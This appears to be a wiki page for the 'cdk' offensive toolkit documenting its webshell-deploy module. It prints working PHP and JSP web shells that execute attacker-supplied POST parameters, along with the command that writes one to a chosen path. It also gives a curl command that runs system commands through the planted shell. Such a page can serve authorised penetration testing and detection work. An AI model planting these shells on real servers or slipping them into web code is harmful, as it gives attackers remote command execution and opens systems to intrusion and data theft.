Skip to content

Exploit: webshell deploy

cdxy edited this page Jan 20, 2021 · 1 revision

Generate PHP or JSP web shell with random POST params, then write it to target path.

生成接受随机POST参数的PHP或JSP webshell写入指定文件。

PHP webshell:

<?php @eval($_POST['$SECRET_PARAM']);?>

JSP webshell:

<%Runtime.getRuntime().exec(request.getParameter("$SECRET_PARAM"));%>

Usage

cdk run webshell-deploy (php|jsp) <path>

Example

./cdk run webshell-deploy php /tmp/shell.php

png

After exploit run curl -d "cdk_sgrytry=system(whoami)" to connect webshell.